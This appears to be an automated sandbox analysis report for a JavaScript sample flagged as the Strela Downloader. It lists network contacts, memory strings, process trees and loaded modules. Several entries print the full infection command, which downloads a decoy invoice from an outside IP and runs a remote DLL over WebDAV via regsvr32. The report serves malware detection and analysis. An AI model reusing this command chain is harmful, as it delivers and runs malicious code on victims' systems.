Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1397997172.00000192408A5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1400456187.00000192408C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1461328414.000001FE680BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1459100469.000001FE680DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1461232201.000001FE68088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/PR
Source: net.exe, 00000007.00000003.1460306544.000001FE680BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1461328414.000001FE680BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/S
Source: net.exe, 00000007.00000002.1461232201.000001FE68088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.2689836856.0000022229800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1459796881.0000022229A00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7272, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 10848104561916132198.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7684

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7372:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xdn5qj2l.n2b.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1624,i,12845682548832421709,10519307607851489243,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1624,i,12845682548832421709,10519307607851489243,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
